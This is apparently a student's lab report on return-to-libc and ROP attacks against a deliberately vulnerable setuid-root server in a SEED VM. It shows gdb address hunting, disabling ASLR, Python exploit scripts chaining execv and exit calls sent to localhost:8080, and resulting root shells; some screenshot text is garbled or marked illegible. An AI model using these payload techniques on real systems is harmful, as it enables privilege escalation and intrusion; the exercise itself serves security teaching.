

# Tiancong Li 1113180

## Task 1

```
seed@VM: ~/Share
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
  <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
Reading symbols from vulner...
(No debugging symbols found in vulner)
gdb-peda$ break main
Breakpoint 1 at 0x1416
gdb-peda$ run
Starting program: /home/seed/Share/vulner
/bin/bash: /home/seed/Share/vulner: Permission denied
/bin/bash: line 0: exec: /home/seed/Share/vulner: cannot execute: Permission denied
During startup program exited with code 126.
gdb-peda$ run 4755
Starting program: /home/seed/Share/vulner 4755
```

```
seed@VM: ~/Share
=> 0x56556416 <main>:      endbr32
0x5655641a <main+4>: lea     ecx,[esp+0x4]
0x5655641e <main+8>: and     esp,0xffffffff
0x56556421 <main+11>: push  DWORD PTR [ecx-0x4]
0x56556424 <main+14>: push  ebp
[-----stack-----]
0000| 0xffffd1ec --> 0xf7debee5 (<__libc_start_main+245>:      add     esp,0x10)
0004| 0xffffd1f0 --> 0x2
0008| 0xffffd1f4 --> 0xffffd284 --> 0xffffd425 ("/home/seed/Share/vulner")
0012| 0xffffd1f8 --> 0xffffd290 --> 0xffffd442 ("SHELL=/bin/bash")
0016| 0xffffd1fc --> 0xffffd214 --> 0x0
0020| 0xffffd200 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd204 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd208 --> 0xffffd268 --> 0xffffd284 --> 0xffffd425 ("/home/seed/Share/vulner")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x56556416 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

## Task 2 and 3

```
seed@VM: ~/Share
prtenv.c:7:24: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    7 |         printf("%x\n", (unsigned int)shell);
      |                        ^
[02/08/25]seed@VM:~/Share$ ./prtenv
d6160470
[02/08/25]seed@VM:~/Share$ cat /proc/sys/kernel/randomize_va_space
2
[02/08/25]seed@VM:~/Share$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[02/08/25]seed@VM:~/Share$ ./prtenv
ffffe470
[02/08/25]seed@VM:~/Share$ ./prtenv
ffffe470
[02/08/25]seed@VM:~/Share$ gcc -o vulner vulner.c
vulner.c: In function 'main':
vulner.c:45:24: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    45 |         printf("%x\n", (unsigned int)shell);
      |                        ^
[02/08/25]seed@VM:~/Share$ ./vulner
ffffe470
Server listening on port 8080...
```

After turn off the address randomization, the same address is printed out.

```
seed@VM: ~/Share
=> 0x56556436 <main>:      endbr32
0x5655643a <main+4>: lea     ecx,[esp+0x4]
0x5655643e <main+8>: and     esp,0xffffffff
0x56556441 <main+11>:      push    DWORD PTR [ecx-0x4]
0x56556444 <main+14>:      push    ebp
[-----stack-----]
0000| 0xffffd1ec --> 0xf7debe5 (<_libc_start_main+245>:      add     esp,0x10)
0004| 0xffffd1f0 --> 0x2
0008| 0xffffd1f4 --> 0xffffd284 --> 0xffffd424 ("/home/seed/Share/vulner")
0012| 0xffffd1f8 --> 0xffffd290 --> 0xffffd441 ("SHELL=/bin/bash")
0016| 0xffffd1fc --> 0xffffd214 --> 0x0
0020| 0xffffd200 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd204 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd208 --> 0xffffd268 --> 0xffffd284 --> 0xffffd424 ("/home/seed/Share/vulner")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x56556436 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
gdb-peda$
```

How to get the OFFSET\_TO\_RETURN\_ADDR is in task 4.

```

seed@VM: ~/Documents
[02/09/25]seed@VM:~$ cd Documents/
[02/09/25]seed@VM:~/Documents$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[02/09/25]seed@VM:~/Documents$ sudo ln -sf /bin/zsh /bin/sh
[02/09/25]seed@VM:~/Documents$ gcc -m32 -fno-stack-protector -z noexecstack -o v
vulner vulner.c
[02/09/25]seed@VM:~/Documents$ sudo chown root vulner
[02/09/25]seed@VM:~/Documents$ sudo chmod 4755 vulner
[02/09/25]seed@VM:~/Documents$ export MYSHELL=/bin/sh
[02/09/25]seed@VM:~/Documents$ env | grep MYSHELL
MYSHELL=/bin/sh
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
^C
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected...
Data received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A $000000V000
# whoami
root
# █

```

#### Attack variation 1:

The exit function can help ensure clean termination and prevent crashes that might interfere with the payload. Without this function, we get a Segmentation Fault.

```

seed@VM: ~/Documents
[02/09/25]seed@VM:~/Documents$ env | grep MYSHELL
MYSHELL=/bin/sh
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
^C
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected...
Data received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A $000000V000
# whoami
root
# exit
[02/09/25]seed@VM:~/Documents$ ./vulner
ffffd456
Server listening on port 8080...
Client connected...
Data received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A $00V000
zsh:1: command not found: \M-[\M-e\M-}\M-w\M-^W\M-}\M-w\M-^P\M-U\M-^?\M-w
Segmentation fault
[02/09/25]seed@VM:~/Documents$ █

```

#### Attack variation 2:

The exploit uses hardcoded addresses or offsets that depend on the length of the file name, changing the name could shift these addresses, causing the exploit to fail.



[illegible]

## Task 4

```
seed@VM: ~/Documents
0024| 0xffffd1e4 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd1e8 --> 0xffffd248 --> 0xffffd264 --> 0xffffd407 ("/home/seed/Documents/vulner")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x56556436 in main ()
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ quit
[02/09/25]seed@VM:~/Documents$ export MYSHELL=/bin/bash
[02/09/25]seed@VM:~/Documents$ env | grep MYSHELL
MYSHELL=/bin/bash
[02/09/25]seed@VM:~/Documents$ gcc -m32 -o prtenv prtenv.c
gcc: error: prtenv.c: No such file or directory
gcc: fatal error: no input files
compilation terminated.
[02/09/25]seed@VM:~/Documents$ export MYARG="-p"
[02/09/25]seed@VM:~/Documents$ vim prtenv.c
[02/09/25]seed@VM:~/Documents$ gcc -m32 -o prtenv prtenv.c
[02/09/25]seed@VM:~/Documents$ ./prtenv
MYSHELL: ffffd44b
MYARG: ffffd0f
[02/09/25]seed@VM:~/Documents$
```

As we know that the MYSHELL and MYARG 's address,we can get the OFFSET\_TO\_RETURN\_ADDR = 66.

```
seed@VM: ~/Documents
seed@VM: ~/Documents
0008| 0xffffd118 --> 0xffffd120 --> 0x3
0012| 0xffffd11c --> 0xf7ed4f56 (<accept+70>: mov ebx,eax)
0016| 0xffffd120 --> 0x3
0020| 0xffffd124 --> 0xffffd154 --> 0xf7fe22d0 (endbr32)
0024| 0xffffd128 --> 0xffffd150 --> 0x10
0028| 0xffffd12c --> 0xa422b800
[-----]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0xf7fd0b49 in __kernel_vsyscall ()
gdb-peda$ x/40x $esp
0xffffd110: 0xffffd188 0x00000000 0xffffd120 0xf7ed4f56
0xffffd120: 0x00000003 0xffffd154 0xffffd150 0xa422b800
0xffffd130: 0xf7fb4000 0x56558fa8 0xf7fb4000 0x56556592
0xffffd140: 0x00000003 0xffffd154 0xffffd150 0x56556451
0xffffd150: 0x00000010 0xf7fe22d0 0x00000000 0xf7e05212
0xffffd160: 0xf7fb43fc 0x901f0002 0x00000000 0x56556633
0xffffd170: 0x00000001 0xffffd234 0x00000003 0xffffd46a
0xffffd180: 0xffffd1a0 0x00000000 0x00000000 0xf7debee5
0xffffd190: 0xf7fb4000 0xf7fb4000 0x00000000 0xf7debee5
0xffffd1a0: 0x00000001 0xffffd234 0xffffd23c 0xffffd1c4
gdb-peda$ print $ebp - $esp
$1 = 0x78
gdb-peda$
```

```

seed@VM: ~/Documents
0020| 0xffffd1b0 --> 0xf7fb4000 --> 0x1e6d6c
0024| 0xffffd1b4 --> 0xf7ffd000 --> 0x2bf24
0028| 0xffffd1b8 --> 0xffffd218 --> 0xffffd234 --> 0xffffd3ee ("/home/seed/Documents/vulner")
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x56556466 in main ()
gdb-peda$ print getenv("ATTACK")
'getenv' has unknown return type; cast the call to its declared return type
gdb-peda$ print (char *) getenv("ATTACK")
$1 = 0xffffd502 "-p"
gdb-peda$ quit
[02/09/25]seed@VM:~/Documents$ export BIN_BASH="/bin/bash"
[02/09/25]seed@VM:~/Documents$ ./vulner
BIN_BASH address: 0xffffd1bb
ARG_P address: 0x0
Server listening on port 8080...
Client connected...
Address of vulnerable_buffer[]: 0x0xffffd126
Frame Pointer value: 0x0xffffd168
Data received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# whoami
root

```

Can get the address -p and /bin/bash.

Other address can get from gdb.

Below is the exploit.py.

```

*exploit.py
12
13
14 BIN_BASH_ADDR = 0xffffd44b
15 ARG_P_ADDR = 0xffffde0f
16 NULL = 0x00000000
17
18
19 ARGV_ADDR = BIN_BASH_ADDR + 32
20
21 def create_payload():
22
23
24     argv = [
25         BIN_BASH_ADDR, # argv[0] = "/bin/bash"
26         ARG_P_ADDR, # argv[1] = "-p"
27         NULL, # argv[2] = NULL
28     ]
29
30
31     argv_bytes = b"".join(struct.pack("<I", arg) for arg in argv)
32
33
34     payload = b"A" * OFFSET_TO_RETURN_ADDR
35     payload += struct.pack("<I", EXECV_ADDR)
36     payload += struct.pack("<I", EXIT_ADDR)
37     payload += struct.pack("<I", BIN_BASH_ADDR)
38     payload += struct.pack("<I", ARGV_ADDR)
39     payload += argv_bytes
40
41     return payload
42
Python 3 Tab Width: 8 Ln 44, Col 3 INS

```

## Task 5

```
seed@VM: ~/Documents
0028| 0xffffd1d8 --> 0xffffd238 --> 0xffffd254 --> 0xffffd3f7 ( "/home/seed/Documents/vulner" )
[-----]
Legend: code, data, rodata, value

Breakpoint 1, 0x56556436 in main ()
gdb-peda$ disas foo
Dump of assembler code for function foo:
0x5655634d <+0>:      endbr32
0x56556351 <+4>:      push    ebp
0x56556352 <+5>:      mov     ebp, esp
0x56556354 <+7>:      push    ebx
0x56556355 <+8>:      sub     esp, 0x4
0x56556358 <+11>:     call   0x565565d4 <__x86.get_pc_thunk.ax>
0x5655635d <+16>:     add     eax, 0x2c4b
0x56556362 <+21>:     mov     edx, DWORD PTR [eax+0x60]
0x56556368 <+27>:     lea     ecx, [edx+0x1]
0x5655636b <+30>:     mov     DWORD PTR [eax+0x60], ecx
0x56556371 <+36>:     sub     esp, 0x8
0x56556374 <+39>:     push    edx
0x56556375 <+40>:     lea     edx, [eax-0x1fa0]
0x5655637b <+46>:     push    edx
0x5655637c <+47>:     mov     ebx, eax
0x5655637e <+49>:     call   0x56556130 <printf@plt>
```

Can get the foo()'s address is 0x56556351.

Below is the exploit.py.

```
Open  exploit.py
Save  ~/Documents

1 import struct
2 import socket
3
4 # Define target information
5 TARGET_IP = "127.0.0.1"
6 TARGET_PORT = 8080
7
8 # Memory addresses (replace with actual addresses from GDB)
9 FOO_ADDR = 0x56556351 # Address of foo()
10 EXECV_ADDR = 0xf7e994b0 # Address of execv()
11 EXIT_ADDR = 0xf7e04f80 # Address of exit()
12 BIN_BASH_ADDR = 0x5655702c
13 ARG_P_ADDR = 0x5655704c
14
15 # Construct ROP chain: 10 calls to foo()
16 payload = b"A" * 66 # Overflow buffer (adjust based on offset)
17 for _ in range(10):
18     payload += struct.pack("<I", FOO_ADDR) # Return to foo()
19
20 # After foo() executes 10 times, call execv()
21 payload += struct.pack("<I", EXECV_ADDR) # Jump to execv()
22 payload += struct.pack("<I", EXIT_ADDR) # Return address for execv() (cleanup)
23 payload += struct.pack("<I", BIN_BASH_ADDR) # First argument: "/bin/bash"
24 payload += struct.pack("<I", BIN_BASH_ADDR + 32) # Pointer to argv[] array
25
26 # Send payload to server
27 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
28     s.connect((TARGET_IP, TARGET_PORT))
29     s.sendall(payload)
30
```

I add `printf("BIN_BASH address: %p\n", "/bin/bash"); printf("ARG_P address: %p\n", "-p");` To `vulner.c`. So we can get the `BIN_BASH_ADDR` and `ARG_P_ADDR` when we run `vulner.c`.



[illegible]